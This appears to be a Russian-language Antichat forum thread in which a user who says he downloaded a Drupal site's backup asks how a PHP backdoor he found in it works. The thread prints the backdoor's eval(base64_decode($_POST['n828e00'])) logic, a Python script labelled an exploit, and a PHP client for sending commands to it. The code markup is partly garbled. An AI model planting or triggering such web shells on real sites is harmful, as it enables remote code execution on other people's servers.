HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу php-"вирус" в Друпале
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.09.2015, 13:37
rct
Постоянный
Регистрация: 13.06.2015
Сообщений: 359
С нами: 5746646

Репутация: 7
По умолчанию
Нашел такой код

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR] 
Моих поверхностных знаний пхп хватило, так сказать, отреверсить что тут вообще происходит =)

Получается вот такой код

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if

 (isset([/COLOR][COLOR="#0000BB"]$POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]])) {

 eval([/COLOR][COLOR="#0000BB"]$base64_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]]));

 }[/COLOR][/COLOR] 
То есть, теоретически, POST-запрос вида http://site.com/index.php?n828e00=cGhwaW5mbygpOw== должен вывести выхлоп phpinfo(). Накатил быстренько скрипт на питоне чтобы потестить на локалхосте, но у никакого выхлопа от phpinfo() нету. Эксплоит

import requests

payload = {"n828e00" : "cGhwaW5mbygpOw=="}

r = requests.post("http://localhost/viros.php", params=payload)

Помогите разобраться как этот пхп работает
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 25.09.2015, 15:51
hesher
Познающий
Регистрация: 23.08.2005
Сообщений: 48
С нами: 10902311

Репутация: 1
По умолчанию
Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] array(
[/COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-type: application/x-www-form-urlencoded'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]http_build_query[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'cGhwaW5mbygpOw=='[/COLOR][COLOR="#007700"]))
 )
)));[/COLOR][/COLOR] 
 
Ответить с цитированием

  #3  
Старый 25.09.2015, 16:01
rct
Постоянный
Регистрация: 13.06.2015
Сообщений: 359
С нами: 5746646

Репутация: 7
По умолчанию
Цитата:
Сообщение от hesher  
↑
Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] array(
[/COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-type: application/x-www-form-urlencoded'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]http_build_query[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'cGhwaW5mbygpOw=='[/COLOR][COLOR="#007700"]))
 )
)));[/COLOR][/COLOR] 
Дело в том, что это не моё Я слил бэкап сайта, а сам шелл нашел случайно.

Я правильно понимаю что не рабоатает из-за eval($s21(${$s20}['n828e00'])); где ошибка именно в $s21 когда должно быть ${$s21} ?
 
Ответить с цитированием

  #4  
Старый 25.09.2015, 16:15
grimnir
Познавший АНТИЧАТ
Регистрация: 23.04.2012
Сообщений: 1,109
С нами: 7396886

Репутация: 231


По умолчанию
 
Ответить с цитированием

  #5  
Старый 25.09.2015, 16:18
rct
Постоянный
Регистрация: 13.06.2015
Сообщений: 359
С нами: 5746646

Репутация: 7
По умолчанию
Цитата:
Ну я вообще первым делом гуглить пошел Просто не понимаю почему на локалхосте не работает.
 
Ответить с цитированием

  #6  
Старый 25.09.2015, 16:22
rct
Постоянный
Регистрация: 13.06.2015
Сообщений: 359
С нами: 5746646

Репутация: 7
По умолчанию
Цитата:
Сообщение от hesher  
↑
Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] array(
[/COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-type: application/x-www-form-urlencoded'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]http_build_query[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'cGhwaW5mbygpOw=='[/COLOR][COLOR="#007700"]))
 )
)));[/COLOR][/COLOR] 
А вот этим скриптом всё отрабатывается. Проблема на моей стороне( Благодарю за помощь.
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.